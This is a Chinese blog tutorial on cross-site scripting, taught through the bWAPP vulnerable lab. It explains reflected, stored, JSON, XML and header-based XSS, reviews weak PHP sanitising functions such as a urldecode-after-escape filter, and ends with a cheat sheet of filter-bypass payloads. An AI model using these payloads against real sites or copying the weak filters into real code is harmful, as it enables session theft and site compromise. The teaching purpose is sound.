跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击

时间:2022-10-29 08:49:05

背景



这个系列有很多题,但是其实考察的相近,类似的就不在多说,我们来看吧。主要分几个点来讲:

  • 反射型
  • 存储型
  • JSON
  • XM
  • 头部字段相关

分类介绍



反射型


在请求中构造了XSS的Payload,一般又是受害者点击导致受害者的客户端被攻击。例如:http://172.16.204.213/bWAPP/xss_get.php?firstname=%3Cscript%3Ealert(document.cookie)%3C/script%3E&lastname=2&form=submit
跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击

存储型


一般在博客留言板、评论、个人信息维护等地方容易存在,就是用户构造XSS的Payload保存在数据库中,一旦用户访问该页面,则中招。
跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击
跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击

JSON型


没有什么太大的不同,注意构造一下Payload,闭合标签即可,Payload:"</script><script>alert(1)</script><script>
跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击
跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击

XML型


在XML解析payload需要注意<>两个字符需要使用HTML实体编码。
例如,这样

&lt;img src=1 onerror="alert(document.cookie)"&gt;

跟bWAPP学WEB安全(PHP代码)--XSS跨站脚本攻击

头部字段相关


其实就是值HTTP的很多头部字段都可以XSS,直接构造XSS的Payload的例如Cookie啊,自定义头部字段吧啊,Referer等等。观察一下头部字段那些数据会输出到前端页面上,或者对referer或者location等字段进行控制,跳转到一个有XSS的页面。

XSS防御函数、过滤、绕过



防御函数


//单纯过滤<>,对编码都没有检测,所以做一个url编码就绕过了。
function xss_check_1($data)
{

    // Converts only "<" and ">" to HTLM entities
    $input = str_replace("<", "&lt;", $data);
    $input = str_replace(">", "&gt;", $input);

    // Failure is an option
    // Bypasses double encoding attacks
    // <script>alert(0)</script>
    // %3Cscript%3Ealert%280%29%3C%2Fscript%3E
    // %253Cscript%253Ealert%25280%2529%253C%252Fscript%253E
    $input = urldecode($input);

    return $input;

}
//字符转成HTML实体,防御还可以,但是注意该函数的第二个参数选项ENT_QUOTES,编码单双引号,也不是不能绕过。
function xss_check_2($data)
{

    // htmlentities - converts all applicable characters to HTML entities

    return htmlentities($data, ENT_QUOTES);

}
//把&、<、>、"、'五个符号转成HTML实体
function xss_check_3($data, $encoding = "UTF-8")
{

    // htmlspecialchars - converts special characters to HTML entities
    // '&' (ampersand) becomes '&amp;'
    // '"' (double quote) becomes '&quot;' when ENT_NOQUOTES is not set
    // "'" (single quote) becomes '&#039;' (or &apos;) only when ENT_QUOTES is set
    // '<' (less than) becomes '&lt;'
    // '>' (greater than) becomes '&gt;'

    return htmlspecialchars($data, ENT_QUOTES, $encoding);

}
//中级难度的防御,addslashes,转义单双引号和反斜杠,但是不使用单双引号的,防不住的。
function xss_check_4($data)
{

    // addslashes - returns a string with backslashes before characters that need to be quoted in database queries etc.
    // These characters are single quote ('), double quote ("), backslash (\) and NUL (the NULL byte).
    // Do NOT use this for XSS or HTML validations!!!

    return addslashes($data);

}

绕过


//一般payload
<IMG onmouseover=”alert(‘xxs’)”>

//绕过过滤单双引号的
<script>alert(document.cookie)</script>
<img src=1 onerror=alert(1)>
<img src=javascript:alert(1)>//伪协议
<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>

//绕过关键字检查,大小写变化和无意义(注释、空字符、空格、回车、tab)截断
<ScrIpt>Aler/**/t(1)</ScRipt>
<img src= "javascript: alert(/xss/); width=100>
<scri%00pt>alert(1);</scri%00pt>
<a href="javascript:alert('test')">link</a>//规避关键字

//长度限制
<b oncut=alert()>
<q/oncut=alert(1)> 

//绕过尖括号检查,编码、多重编码
%3cscript%3ealert(1)%3c%2fscript%3e

//标签检查,一重去除标签
<scr<script>ipt>alert("XSS")</scr<script>ipt>

/*闭合标签
>
'> 或者 ">
'  或者  "
标签闭合
;
*/

//终极过滤
<IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

可以进行xss的标签

<script>
<img>
<div>
<a>
<b>
<iframe>
<video>
<audio>
<svg>
...